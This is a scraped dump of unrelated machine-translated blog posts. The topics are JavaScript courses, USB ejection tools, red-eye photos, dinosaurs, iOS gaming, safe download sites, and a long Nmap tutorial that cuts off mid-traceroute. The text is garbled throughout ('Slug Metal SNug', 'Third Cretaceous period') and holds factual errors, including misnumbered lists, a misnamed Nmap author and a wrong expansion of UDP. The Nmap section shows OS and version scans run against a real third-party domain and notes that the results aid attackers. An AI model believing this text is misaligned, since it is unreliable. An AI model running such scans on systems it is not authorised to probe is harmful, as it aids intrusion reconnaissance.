writing in PHP7, Python and MySQL.\nA $ 200 tuition fee may be a bit expensive, but remember that this is a course that includes many important things for web development. The lesson quality is very good and Rob Percival is a teacher with a very easy to understand lecture style. The course is very well rated, with over 66% of users rated the highest for it.\nReference links:\n https://www.udemy.com/the-complete-web-developer-course-2/?siteID=ygZRWO0LhtI-wKVA3SmGiKV.wOBwb8y5tQ\u0026amp;LSNPUBID=ygZRWO0LhtI  Are you interested in learning JavaScript?\nJust learning alone JavaScript will not take you far in programming. A solid foundation with other programming languages ​​like C, C ++, Java, C #, Python, Ruby, PHP, and other languages ​​is also essential. In addition, learning different programming languages ​​will help change the way you think about solutions.\nUdemy is a good place to start because it has a lot of different courses. A course like ES6 JavaScript: The Complete Developer's Guide towards the future, while free courses like JavaScript Essentials can be loved by programming enthusiasts. Each paid course comes with:\nThe lifetime access. 30 day money back guarantee. Certificate of completion of the course. How are you interested in JavaScript? Do you think the above courses fit your requirements? Tell us about a course you want to choose from the list or any other course on the web in the comment section below!\nGood luck!\nSee more:\nTop site with many good JavaScript exercises to practice 9 reasons you should equip a little knowledge of HTML and CSS JavaScript - Extremely dangerous attack tool ncG1vNJzZmismaXArq3KnmWcp51kwqWxzLKqZqyfpXp2ecmarZqrk6e2scCMnKauqqOawA%3D%3D\n","link":"/post/udemy-s-top-5-javascript-courses/","section":"post","tags":null,"title":"Udemy's top 5 JavaScript courses"},{"body":"After using the USB or multiple memory card, you immediately remove the USB and skip the steps to remove the USB drive and memory card on Windows . And of course, when you unplug the USB directly, you will easily encounter problems with the USB, such as data corruption, USB error when the next use, or the most serious is USB failure.\nSo disconnecting the USB stick on Windows before removing it from the computer is what you need to do. And to disconnect USB on Win, there are 2 ways as follows:\nQuick removal : This is a quick interrupt, it will disable the Write write process on the USB drive. Thereby you can unplug USB quickly and without worrying about USB damage due to electric shock. Safely Remove Hardware : With the fast disconnection above you will not worry about USB corruption due to sudden withdrawal. However, there is still a risk of data corruption . But sometimes the value of a USB is not worth how much data you store in it. That's why removing a USB drive safely is the way I always recommend.   How to safely remove a USB drive from a safe computer Safely Remove Hardware \u0026nbsp; An example is when you copy a file to or from a USB flash drive, you will see that the flashing LED means that an operation has occurred and that you should not unplug the USB directly. Otherwise, the file being copied will be corrupted.\nSo to safely remove the USB from the computer on Windows you need to do the following:\n* First you need to look at the bottom right corner of the Taskbar. And find the USB icon as follows:\n  ** Right click on the icon above (or left click, or double click - I use Win 7, so I think anything is OK). You will then see the following:\n  *** Click on the Eject… .name USB. For example, Eject transcend ts8gmp350b. If you see the USB icon disappear, it means that you safely removed the USB stick with Safely Remove Hardware.\n**** Note: However, there are many cases when you have completed the steps to safely remove the USB above, you will see an error message box , and it will not succeed.The error message dialog box will look like the picture below:\n  'This device is currently in use.Close any programs or windows that might be using the device and then try again. '\n(This device is currently in use. Close all programs or windows that may be in use with the device and then try again. )\nFix Problem Ejecting USB Mass Storage Device error when safely removing USB \u0026nbsp; * First, let's see if you are opening anything on the USB device but not turned off? Or are you making a copy on USB? If so, you need to close it all. Then try again.\n** If you still see the error message Problem Ejecting USB Mass Storage Device when safely removing USB Then you need a tool capable of displaying hidden activity files on the USB drive, processes running in the background with USB. Then you have the option to turn them off and safely exit the USB. 1. IObit Unlocker\nIObit Unlocker is the most powerful tool to strongly turn off a locked file (Ie the file is running in the Process process). In one of our tests, IObit Unlocker was the only application capable of deleting a protected file belonging to an antivirus software, while others didn't or required restarting Windows to complete the process. submit.\nTo check the process or file is locked on your USB flash drive using IObit Unlocker, you can right-click on the USB drive and select Unlocker IObit from the context menu, or run the program =\u0026gt; click Add button and select the drive.\n  You can try clicking Unlock to release the locked files and if that fails, there is a mode that forcibly terminates all related processes.\nDownload IObit Unlocker :\nhttp://www.freenew.net/windows/iobit-unlocker-1-0/68837.htm\n2. NoVirusThanks File Governor\nNoVirusThanks File Governor is a free file / folder unlocking tool created by NoVirusThanks. Although it seems that you can only scan locked files or folders, you can actually scan drives by selecting the drive letter from the folder scan options. You can Disable and unlock the process from certain buttons and also delete or rename from Tools on the menu bar.\n  Download NoVirusThanks File Governor\nhttp://downloads.novirusthanks.org/files/portables/filegovernor_portable.zip\n3. LockHunter\nLockHunter is a free software created by the same company as USB Safely Remove. Similar to the other tools mentioned above, LockHunter is used to show the process of locking a file or folder and gives you options to unlock, delete, rename, copy and terminate locked files.\nRight click menu will add ' What is locking this folder / file? '.\n  A very useful feature in LockHunter is allowed to 'View details of running processes, files on a running USB'.\nDownload LockHunter\nhttp://lockhunter.com/exe/lockhuntersetup_3-1-1.exe\n4. EMCO UnLock IT\nEMCO Software is a company famous for networking products. They created a free unlocked EMCO IT software to unlock a locked file or folder. Unlike other cracking tools, EMCO unlocks a very modern graphical user interface with ribbon menus and you can even change the interface.\n  By unlocking the default IT does not add a right-click context menu and you can add it by checking the 'Integrate into Windows Explorer' box located at the bottom left of the program.\nIt is only possible to unlock resources by closing or Kill the process, but you will not find the option to delete the file.\nDownload EMCO Unlock IT\nhttp://storage.emcosoftware.com/download/unlockit/UnLockITSetup.exe\n5. Free File Unlocker\nIn addition to the standard features that you often see in an unlocker software like scanning files, folders and drives for locked files and giving you options to unlock, disable, delete, rename, copy copy or move.\nFree File Unlocker has a unique feature that you can specify a list of links to files or folders to batch unlock. Other than that, you can convert the interface language to 38 different languages.\n  Run the file FreeFileUnlocker.exe to install\nDownload Free File Unlocker\nhttp://www.4dots-software.com/downloads/FreeFileUnlockerSetup.exe\nAdditional notes : One of the main reasons why you cannot safely remove USBs is due to the activity of malware trying to spread through USB flash drives.\nIf it is really due to a malware, then the above software has successfully unlocked it will continue to work. Therefore you still cannot safely exit the USB device.\nThe solution then is that you need to scan for viruses and malware on USB or on your computer. Otherwise, it has been infected by Virus or Malware from computer via USB or vice versa.\nncG1vNJzZmismaXArq3KnmWcp51kwq%2B8y66eZq2jl3q0rcWeo7Jllp7FbrHJnpqtoZ6cera%2FwWakmqujYsC1u9Ganp5llJrDqq%2FEZpyrqp%2Bn\n","link":"/post/unplug-usb-safely-fix-ejecting-usb-mass-storage-device-error/","section":"post","tags":null,"title":"Unplug USB safely, Fix 'Ejecting USB Mass Storage Device' error"},{"body":"Although the current technology simplifies capturing art shots, the \"red eye\" effect is still the cause of ruining many of your beautiful photos. Bright Side decided to investigate the cause of this \"strange\" effect.\nIn ambient light, you often have to open your eyes to allow light to enter. When the flash light hits your eyes, you won't have enough time to squint your eyes. Therefore, the amount of strong light from the lamp makes the scene light up and directly affects the eyeball, passing through the pupil to the rear blood vessels, reflecting red blood vessels on the veins. When the camera flash lights up reflecting this blood vessel, our eyes often have a \"red\" effect on the image.\n  Light directly affects the eyeball, passing through the pupil to the rear blood vessel.\nThe reason why the eyes are red is probably because you stare at the camera's lens . You can eliminate the \"red eye\" effect in a simple way that is to avoid staring at the lens but just looking at a nearby light bulb before taking a picture. To reduce the \"red-eye\" effect, most modern cameras often flash the front flash before the flash officially blinks, so you have enough time to squint your eyes and adapt to it.\n  The intensity of light reflection of each person is different, depending on the size, age and eye color of each individual. People with bright skin and blue or green eyes are less likely to be melanin (pigment-forming epidermal cells), which can often suffer from \"red-eye\" effects when taking pictures.\nHigh-quality effects often appear in the eyes of humans and animal eyes, especially in the eyes of nocturnal animals - the retina has a special reflective layer called the tapetum lucidum mirror that acts as a mirror placed behind the eyes. This tissue helps animals see things better at night with actions like reflectors (retroreflector), taking reflected light and directly reflecting it back to its original direction.\n  ncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mnqtdnsFuwMCknGaqlZl6uLTEp2StmZueu6h5z6GmraejYrynediorKtlla6ytHnToZitZZykvKx5y6KinmWmlrqxtdGeqg%3D%3D\n","link":"/post/why-does-it-take-red-when-taking-photos-of-your-eyes-that-look-like-vampires/","section":"post","tags":null,"title":"Why does it take 'red' when taking photos of your eyes that look like 'vampires'?"},{"body":"These are dinosaurs who eat bloodthirsty flesh, they possess huge body size along with \"terrible weapons\" like strong teeth, sharp claws . once the terror of many of these species. Prehistoric Earth.\n1. Troodon About 2.4m tall, weighs about 50kg, Troodon is not large in size but they are one of the largest brain size species in the dinosaur family. This is an omnivorous animal with a tooth structure shaped like a saw blade.\n  Troodon is one of the most dangerous prehistoric dinosaurs. They ran quite fast thanks to their very long, slender hind legs and preyed on swarms so it was hard for any prey to escape.\nToday, Troodon's fossils are found in some areas such as Texas, Alaska, New Mexico.\n2. Giganotosaurus   At a height of 12.2 meters to 12.5 meters, weighing about 6.5 to 13.8 tons, Giganotosaurus is one of the largest carnivores that ever existed on Earth. They have large heads and strong teeth that easily swallow their prey.\nGiganotosaurus usually lives in the region of Argentina today. They went extinct about 97 million years ago.\n3. Sarcosuchus   Living 112 million years ago, Sarcosuchus is the ancestor of modern crocodiles but much larger in size. They are about 11 - 12m long and weigh about 8 tons. Sarcosuchus even hunted dinosaurs.\n  Fossils of this dinosaur are often found in the desert of Africa today.\n4. Allosaurus   Allosaurus is an extremely thirsty dinosaur, which attacks any species, even other carnivorous dinosaurs, without purpose. With an average body length of 8.5m and scary teeth and sharp claws, Allosaurus can tear any prey easily.\nAllosaurus dinosaurs lived in the late Jurassic period, from 155 to 145 million years ago.\n6. Tyrannosaurus Rex (T. Rex)   With a weight of up to 8 tons, sharp tooth structure, powerful biting force, tyrant T. Rex is known as the most feared killing machine among dinosaurs.\n  The Rex lived about 65.5 million years ago, before the extinction in the Third Cretaceous period.\n6. Utahraptor   This is one of the largest prehistoric carnivores with weight up to 680kg. With strong teeth, sharp claws, Utahraptor can tear prey into pieces.\n7. Dilophosaurus   Dilophosaurus lived 193 million years ago. Although not large in size, they are only about 1.8m tall and weigh about half a ton but this is the most ferocious and bloodthirsty dinosaur. Dilophosaurus moves very quickly, they have teeth and extremely sharp claws.\n8. Carnotaurus   Carnotaurus lived about 70 million years ago in the late Cretaceous period. This carnivorous dinosaur originated in South America, weighing about 2.9 tons with a pair of sharp horns on its head.\nWith a traveling speed of up to 50km / h, and the most powerful tail in the dinosaur family, Carnotaurus is one of the most \"annoying\" predators that ever existed on Earth.\n9. Charcharodontosaurus   This is one of the \"giant\" carnivorous dinosaurs on Earth with a height of about 13m, weighing about 10 -15 tons. With teeth like shark teeth, Charcharodontosaurus bites caused prey to die from heavy blood loss.\nThe charcharodontosaurus lived about 93-100 million years ago. They often fight and fight with many other large and dangerous dinosaurs such as the Spinosaurus.\n10. Spinosaurus   Spinosaurus is the first terrestrial dinosaur to be known to be able to live underwater, and they are also the largest carnivorous dinosaur that ever existed with a weight of 20 tons, nearly 15 meters tall, longer than the tyrant The largest ever discovered about 3m.\n  Spinosaurus has a muzzle with sharp teeth just like a crocodile. Their hind legs are short, strong, active as paddles and have many similarities to ancient whales. The front is very strong with sharp, sharp claws like knives, used to pierce or tear prey flesh. With the characteristics of both T-Rex tyrants, crocodiles and whales, they can be adapted to underwater life to hunt sharks.\nWhat does the ancient world look like in the eyes of dinosaurs? How long does a dinosaur egg take to hatch? ncG1vNJzZmismaXArq3KnmWcp51kfnF5zKiqrWWUlruosdGorKxloKeyqbXSraaroZNisKK%2BzaKtqKqfqsBusMinpqyZpafA\n","link":"/post/10-most-dangerous-prehistoric-carnivorous-dinosaurs/","section":"post","tags":null,"title":"10 most dangerous prehistoric carnivorous dinosaurs"},{"body":"The iPhone is always in your pocket when you want to play games to kill time. But do you really like the mobile games you play?\nPlaying iOS games has some problems. But if you know to find the right place, there's a treasure trove of great gaming content available for iPhone or iPad.\nOptions to make gaming on iPhone and iPad more awesome It has never been better to play games on iOS Other essential options for playing games on iOS 1. Apple Arcade 2. Steam Link 3. PS4 Remote Play 4. The retro game collection 5. Jailbreak and emulators  It has never been better to play games on iOS Apple has never prioritized gaming on any of its platforms. This is always especially true with iOS. However, things have changed with the release of iOS 13.\nPreviously, you could use a gaming controller with your iPhone or iPad, but it only works with certified Made for iPhone (MFi) models. Because of this, very few games support gaming controllers.\nYou can now pair PlayStation 4 or Xbox One gaming controllers, meaning you don't need a separate option for iOS.TipsMake.com has instructions for pairing gaming controllers with iOS 13 to get you started.\nHowever, that is not all. With the arrival of iOS 13, Apple took another big step forward in gaming on all its platforms. Consider this operating system and other essential options that make iOS gaming better than ever.\nOther essential options for playing games on iOS 1. Apple Arcade   Apple Arcade is very active in supporting gaming on its platform. For a monthly fee, you have access to the entire game library. They are available on iPhone or iPad, as well as on Apple TV or Macs running macOS Catalina and above.\nAll of these games support gaming controllers on macOS or Apple TV. And while not all of them work with iOS gaming controllers, the majority of options do a good job.\nIn the weeks after its release, a number of new games have appeared regularly. Even better, these are standalone games with no paid extensions or in-app purchases.\nApple Arcade costs $ 4.99 (VND 115,000) / month. You can cancel the service anytime you want. Start with a 1-month free trial to decide if this service is for you.\nAccess Apple Arcade.\n2. Steam Link   Valve's Steam Link has been available on Android for a while. Valve has planned to bring the app to iOS at the same time (although after a delay of about a year, users may be suspicious of whether it will appear).\nBut in the end, Steam Link is now available for iOS. Like a physical Steam Link device, this tool allows you to transfer PC games to your iPhone or iPad.\nGetting started with Steam Link is easy. Download the app and follow a few simple steps.\nDownload Steam Link (Free).\n3. PS4 Remote Play   Most people disagree with the PlayStation Vita as a 'bright star' of the Sony hardware product line, but it has one big advantage: Remote Play. This allows you to play PS3 and PS4 games on the Vita. Sony has realized how great this is, because it brought Remote Play to not only Windows and Mac, but also mobile devices.\nYou can use the PS4 Remote Play app with touch screen controls, but you'll get better results using a gaming controller. PS4 owners already have DualShock 4, so you don't need to worry about buying any other hardware.\nUsing an iPad is ideal for this, as a larger screen will work better. However, using the iPhone is also acceptable, especially if you only use it as a companion app. As you would expect, a fast and stable WiFi connection will provide the best results in this case.\nThe author of the article has used PS4 Remote Play quite a lot since the release of iOS 13 and it works very well. Playing Destiny 2 on iPad feels strange, but it's convenient if someone else is using a TV that your PS4 is connected to.\nDownload PS4 Remote Play (Free).\n4. The retro game collection   If you don't want to stream games on your PC or sign up for Apple Arcade, you won't be stuck playing horrible free games. You can also find some better versions for classic games available on iPhone or iPad.\nSNK, Sega and others have created individual games or, in some cases, many game collections available on mobile platforms. On Sega's App Store page, you can download Sonic the Hedgehog and other famous Genesis games, and several Slug Metal SNug titles are also available.\nMost of these games support MFi gaming controllers, so with iOS 13, they will work with your PS4 or Xbox One controller.\nDownload Sonic The Hedgehog Classic (Free) Download Gunstar Heroes Classic (Free) Download Metal Slug Pack ($ 7.99 / 184,000 VND) 5. Jailbreak and emulators   Game emulation is one of the areas where Android users have an advantage over iPhone owners. On Android, you can choose different emulators in the Google Play Store and you can always download more if you want.\n4 best SNES emulators for Android Technically, the emulators are available through the Apple App Store, but they don't keep up with the aforementioned retros. If you want full access to the emulator to be able to run the game you want, you will have to jailbreak your iPhone.\nApple doesn't make jailbreaking iPhone so easy, because it simply doesn't want users to do it. This is also outside the scope of the article, as changes to iOS often make jailbreak methods obsolete. However, if you have an old iPhone and want to turn it into a gaming console, then it's worth noting.\nIf you do not want to jailbreak, try the solutions in the guide to play games that emulate many iOS systems without jailbreaking.\nIf the options that the article has reviewed here are intended to prove something, it is that more and more games are moving to the cloud. With upcoming platforms like Microsoft's Project xCloud, it's likely that users will see more options. The good news for mobile gaming is that this will likely lead to more console-quality games available.\nFor more excellent titles, check out the best offline games for iPhone and iPad.\nncG1vNJzZmismaXArq3KnmWcp51kgm6zwKagp59dpL21tc6nqmaen6d6qrzHqKWeZZGjsW61z5qb\n","link":"/post/5-gaming-options-for-iphone-and-ipad/","section":"post","tags":null,"title":"5 gaming options for iPhone and iPad"},{"body":". The problem is that there are a lot of Windows software download websites that advertise themselves as 'reliable' and 'safe', but that's not really the case.\nThere have been many free software download sites that have been found to have loosened censorship, causing malicious code and adware to appear rampant in applications. Users accidentally downloading software containing malicious code will make their system infected and the risk is inevitable.\nHere are 6 free Windows software download sites that you can rest assured, trust in safety when using.\nMicrosoft.com If you're looking for Windows software, there's no better place than Microsoft's own app download site. In fact, Microsoft.com is also the official source of nearly every trusted Microsoft application. You can be 100% sure that there will be no malware and unauthorized 'implanted' device-free add-ons in the software available on Microsoft.com, ensuring installation goes on. completely clean. For example, for Windows, Office, and other native Microsoft programs, it's best to download directly from Microsoft.com.\n  Besides the necessary software packages, you can also find here optional hotfixes and updates, including the .NET framework, driver packages, web browsers, developer tools, and translation packages. services for Xbox games, such as Microsoft Flight Simulator. The biggest minus point of this site is the absence of third-party software (of course).\nMicrosoft Store Besides Microsoft.com, Microsoft Store is definitely the address you need to prioritize when you need to search and download an application for your Windows computer. In addition to the original Microsoft apps available on Microsoft.com, you also get access to a number of third-party apps designed for the Windows system on the Microsoft Store. These include familiar names such as iTunes, Netflix, Amazon Prime, Hulu, Facebook, Spotify, VLC, Python, Adobe Lightroom, Pinterest, Ubuntu for Microsoft, Slack, Screen Recorder Pro, Zoom, Microsoft Edge and many more software other famous.\n  Another reason why the Microsoft Store should be your preferred choice is that it is designed to work with Windows systems, updated with your last PC update.\nSourceForge.net Besides Microsoft's websites, SourceForge is also another reliable site if you want to find some software for Windows. A highly appreciated element of SourceForge is that this site is able to address an important user concern about whether a particular third-party software is official software. This is done through a special confirmation code, that the software is an 'exact copy'.\n  In addition, SourceForge can also ensure user safety by scanning all installed packages for malware. 'Problematic' software will be flagged specifically. Each page has actual user reviews and screenshots, giving you an overview of the app's quality.\nThe software 'collection' available on SourceForge is also impressive, comprising over 500,000 projects, including over 64,500 paid software. You can find nearly every software you need for Windows here, along with thousands of other cool open source applications. It is important that all are secure.\nAlternativeTo.net AlternativeTo gives you an experience quite similar to SourceForge in how the software categories are arranged: easy to search, with full display of user reviews and ratings, as well as download links of related solutions. . There are over 100,000 different apps you can find on AlternativeTo right now, and this number will continue to grow over time.\n  One of the most appreciated aspects on AlternativeTo lies in the application comparison and rating system from the user community, providing you with a lot of alternatives at a glance. Detailed user-centric reviews help you get to know a particular software more thoroughly before hitting the download button.\nGitHub.com Probably no need to introduce more about this reputable download website. Although a bit complicated for beginners, GitHub can be considered the number one address if you are looking for a complex version of software. Simply because this is one of the largest original code repositories in the internet.\n  In addition to the key open source software, you can also find thousands of important Windows software repositories such as the latest Windows Terminal, Skype for Business, Docker, Azure, PowerToys, etc. Completely secure, malware-free, and constantly updated in real-time by a global community of developers.\nGitHub today has become an essential tool for advanced developers, but you can also find a lot of solutions for casual users.\nChocolatey.org Chocolatey is an extremely versatile and useful tool that allows you to install any software, including third-party ones, on Windows 10 with ease. Chocolatey is especially useful for developers who often have to work with PowerShell, Windows Terminal, and other command line tools.\n  To download any software through Chocolatey, you must run PowerShell or Windows Terminal in administrative mode and search for the relevant installation package on the website. Currently, there are more than 8000 popular software, including Adobe Acrobat Reader, Google Chrome, Python, Git and Windows Terminal… available on Chocolatey.\nncG1vNJzZmismaXArq3KnmWcp51kg27DxJuqoqyVqHq1u4ydprCmnKSupXnSqJ2tr5Gnsm6%2FwJ%2BcZpmgpbmqr8CtoKimo2KzsL6MsKCnnJ%2BswG59jw%3D%3D\n","link":"/post/6-websites-to-download-software-safe-applications-for-windows-10/","section":"post","tags":null,"title":"6 websites to download software, safe applications for Windows 10"},{"body":"While there are many advanced monitoring tools that serve as a great help to network administrators in port scanning and detecting network vulnerabilities, Nmap is still considered a standard tool. ink. Why is that?\nNetwork administrators, IT managers and security experts have been, and will face a never-ending battle on the battlefield named cyber security.They will have to constantly check their network to find out the harmful agents as well as the hidden security holes.While there are currently a number of monitoring utilities available to assist professionals in network mapping and security control, Nmap is the number one choice for flexibility and portability. These practices have made it awidely recognizedport scanning and security vulnerabilityworldwide.\nAll about Nmap What is Nmap? Nmap in port scan Nmap and the path to success What operating systems does Nmap work on? How to use Nmap Nmap commands for beginners Nmap Scripting Engine (NSE) Zenmap - Nmap's interface What's new in Nmap Is Nmap being used for unauthorized behavior? Nmap resources Download Nmap where? What is Nmap?   \nNmap (full name Network Mapper)is a security tool developed by Floydor Vaskovitch.Nmap isopen source, free, used forport scans and security holes.Network administrators use Nmap to determine which devices are running on their systems, as well as find out which servers are available and the services they provide, and search for them. open ports and detect security risks.\nNmap can be used to monitor individual servers as well as large network clusters including hundreds of thousands of devices and multiple subnets.\nAlthough Nmap has been constantly developed, improved over the years and extremely flexible, its platform is still a port scanning tool, gathering information by sending raw packets to system ports. system.It then listens and analyzes the responses and determines whether those ports are opened, closed, or filtered in some way, such as a firewall.Other terms used to refer to port scanning include port detection (discovery) or port enumeration (enumeration).\n  Nmap in port scan The data packets sent by Nmap return IP addresses and other related data, allowing you to identify network attribute types, provide you with network records or diagrams and allow you to create an evaluation list of hardware and software in that network.\nDifferent network protocols use different types of packet structures.Nmap uses layer protocols including TCP (transmission control protocol), UDP (user query protocol), and SCTP (flow control protocol), as well as support protocols such as ICMP ( Internet control message protocol, used to send error messages).\nDifferent protocols serve different purposes and system ports.For example, UDP's low resource costs are well suited to real-time online video streaming, where you'll sacrifice some lost data packets in exchange for speed, while videos are Non-real-time streams on YouTube will be cached and slower using TCP, although this protocol is more reliable.\nAlong with many other features, the basic port scanning and packet capture capabilities (packet-capture -packet blockingfeaturethat is passing or moving through a specific computer network)of Nmap are also constantly being upgraded. upgrade, improve.\nGordon Lyon, author of Nmap, shared in an email response to software queries that his company is now focusing on upgradingNpcappacket capture featuredriversand libraries for Windows. .\"It makes Nmap faster and more powerful on Windows and is also being used by many other applications. We have released eight releases of Npcap this year,\" Gordon Lyon said.\nNmap and the path to success Nmap was written on C ++ platform and was first introduced with the source code in Phrack magazine in September 1997. It was later expanded with C, Perl and Python.Author Gordon Lyon used the pseudonym Fyodor Vaskovitch.Fyodor Vaskovitch said he chose this pseudonym because he was impressed after reading Fyodor Dostoevsky's notes from the Underground.\n  Throughout the years since its launch, Nmap has benefited from the growing contribution of the growing fan community and developers, and now the application has a number of downloads up to thousands of times every day.Along with support from the tech world, Nmap has been well known among the public, who do not have much network security expertise through movie movies.In these films Nmap has become a breakthrough tool for directors along with the acting of stars like Rihanna and Kate Mara.Nmap made its first appearance in the movie The Matrix Reloaded, in which Trinity character Carrie-Anne Moss portrayed her impressive ability to unlock security using the Nmap software correctly.\nWhat operating systems does Nmap work on? One of the reasons for Nmap's widespread popularity is that it can be used on many different operating systems.It works on Windows and macOS and is supported on Linux distributions including Red Hat, Mandrake, SUSE and Fedora.It also works well on other operating systems including BSD, Solaris, AIX and AmigaOS.\nHow to use Nmap It is not difficult to find a range of free network monitoring utilities as well as free open source vulnerability scanning tools available for network administrators and security controllers.However, what makes Nmap stand out as an information technology tool that any network manager needs to know is its flexibility and power.In addition to the basic function of Nmap as port scanning, it also provides users with a range of related features including:\nNetwork mapping : Nmap can identify devices that are active on the network (also known as server detection), including servers, routers and how they are physically connected. how. Operating system detection (OS detection): Nmap can identify the operating systems of devices running on the network (also known as OS fingerprinting), while providing information about providers and operating systems. base, software version and even estimate the device's uptime. Service discovery (Service discovery) : Nmap can not only identify servers that are operating on the network, but also determine which services they are providing.Can be mail, web or name servers.As well as identifying specific applications and versions of the software they are running. Security auditing : Nmap can find out which version of the operating system and application is running on network servers, thereby allowing network administrators to identify general weaknesses that correspond to Specific vulnerabilities.For example, if the network administrator receives vulnerability alerts in each specific version of the application, he can perform a network scan to determine if the software version is running on the network. No and take steps to patch or update the relevant servers.In addition, scripts can automate tasks such as detecting specific vulnerabilities.   Use Nmap for local networks Running Nmap is often the best way to discover the 'size' of the network and the number of devices connected to it. The \"fast\" Nmap (-F) scan on the network can create a list of all IP addresses belonging to the server that operates on the network, along with some additional information.\nsudo nmap -F 192.168.0.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 22:55 PST Nmap scan report for 192.168.0.1 Host is up (0.048s latency). Not shown: 96 closed ports PORT STATE SERVICE 80/tcp open http 443/tcp open https 5000/tcp open upnp 8081/tcp filtered blackice-icecap MAC Address: AC:EC:80:00:EA:17 (Arris Group) Nmap scan report for 192.168.0.35 Host is up (0.065s latency). Not shown: 93 closed ports PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 80/tcp open http 443/tcp open https 515/tcp open printer 631/tcp open ipp 9100/tcp open jetdirect MAC Address: C4:8E:8F:38:61:93 (Hon Hai Precision Ind.) Nmap scan report for 192.168.0.232 Host is up (0.032s latency). All 100 scanned ports on 192.168.0.232 are closed MAC Address: 60:A3:7D:30:24:60 (Apple)  The amount of information on the local network that Nmap can collect is impressive, including the MAC address and the manufacturer of the connected device, the operating system that the device is using and the version of any service. running on the device. After knowing how many devices are on the network and (almost) knowing which devices they are, the next step is to scan and check the devices on the network you are interested in.\nAnother important function of Nmap is to allow port scanning of each device or IP address range, including multiple devices. This allows an attacker to find out the details of each device detected on the network, including information about open ports and service running. Port is the port that another device can connect to, so finding a range of services running on open ports can be a huge benefit to hackers, especially if one of the devices used an outdated version and vulnerable.\nUse Nmap for remote networks In addition to scanning local networks, Nmap can also display information about remote networks. In fact, you can run Nmap on the site you want to test and it will parse and get the IP address associated with that site's domain name.\nnmap -F wonderhowto.com Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-11 23:20 PST Nmap scan report for wonderhowto.com (104.193.19.59) Host is up (0.14s latency). Not shown: 95 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 139/tcp filtered netbios-ssn 443/tcp open https 445/tcp filtered microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 3.21 seconds  After retrieving the IP address and noting the open port numbers, Nmap can then indicate that the operating system (-O) is being used to store a remote site.\nsudo nmap -O 104.193.19.59 Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 23:00 PST Nmap scan report for wonderhowto.com (104.193.19.59) Host is up (0.036s latency). Not shown: 998 closed ports PORT STATE SERVICE 80/tcp open http 443/tcp open https Device type: load balancer Running (JUST GUESSING): Citrix embedded (95%) Aggressive OS guesses: Citrix NetScaler load balancer (95%), Citrix NetScaler VPX load balancer (88%) No exact OS matches for host (test conditions non-ideal). Network Distance: 17 hops OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.69 seconds  Finally, users can even learn about software versions that are running on open ports. If you see a port vulnerable to attack, it can make your work on the network much easier. Using the previously discovered IP address, users can perform a different scan than the -sV parameter , indicating that httpd 2.0 is being used on the target computer.\nsudo nmap -sV 104.193.19.59 Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 23:02 PST Nmap scan report for wonderhowto.com (104.193.19.59) Host is up (0.053s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.27 seconds  These details - the IP address of a remote site or server, the operating system running on the device and the version of any application running on the open ports discovered - is everything the hacker Need to start attacking devices on the network.\nWhat you need\nTo use Nmap, you will need a system that supports it. Fortunately, Nmap is a cross-platform application, works on Windows, Linux and macOS, preinstalled on many systems. Even if you don't have this tool, it's easy to install.\nYou will also need a network to connect and scan to try these techniques, but note that scanning is often referred to as a 'prelude' for an attack and needs to be scrutinized. This means that if your job is to monitor suspicious behavior, scanning the entire network is a great way to get the most panoramic view.\nStep 1: Configure Nmap to scan a target\nTo run basic scanning, users can specify specific target IP addresses to scan. One of the basic but most informative scans is to run Nmap, specify the destination IP address and then enter -A to enable operating system detection, version detection, script scanning and follow watch.\nsudo nmap 104.193.19.59 -A Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 23:12 PST Nmap scan report for wonderhowto.com (104.193.19.59) Host is up (0.038s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: WonderHowTo |_http-title: Did not follow redirect to https://wonderhowto.com/ 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: WonderHowTo |_http-title: Did not follow redirect to https://www.wonderhowto.com/ | ssl-cert: Subject: commonName=wonderhowto.com | Subject Alternative Name: DNS:wonderhowto.com, DNS:*.driverless.id, DNS:*.gadgethacks.com, DNS:*.invisiverse.com, DNS:*.null-byte.com, DNS:*.reality.news, DNS:*.wonderhowto.com, DNS:driverless.id, DNS:gadgethacks.com, DNS:invisiverse.com, DNS:null-byte.com, DNS:reality.news | Not valid before: 2017-01-25T00:00:00 |_Not valid after: 2019-01-25T23:59:59 |_ssl-date: 2018-11-11T07:12:53+00:00; 0s from scanner time. Device type: load balancer Running (JUST GUESSING): Citrix embedded (90%) Aggressive OS guesses: Citrix NetScaler load balancer (90%), Citrix NetScaler VPX load balancer (88%) No exact OS matches for host (test conditions non-ideal). Network Distance: 17 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 995/tcp) HOP RTT ADDRESS 1 31.75 ms 192.168.0.1 2 26.02 ms 142.254.236.193 3 35.17 ms agg60.lsaicaev01h.socal.rr.com (24.30.168.25) 4 30.78 ms agg11.lsaicaev01r.socal.rr.com (72.129.18.192) 5 26.19 ms agg26.lsancarc01r.socal.rr.com (72.129.17.0) 6 34.58 ms bu-ether16.atlngamq46w-bcr00.tbone.rr.com (66.109.6.92) 7 30.20 ms ae2.lsancarc0yw-bpr01.tbone.rr.com (66.109.1.41) 8 35.04 ms ix-ae-24-0.tcore1.lvw-los-angeles.as6453.net (66.110.59.81) 9 35.01 ms if-ae-8-2.tcore1.sv1-santa-clara.as6453.net (66.110.59.9) 10 35.11 ms if-ae-0-2.tcore2.sv1-santa-clara.as6453.net (63.243.251.2) 11 38.80 ms if-ae-18-2.tcore1.sqn-san-jose.as6453.net (63.243.205.12) 12 34.39 ms 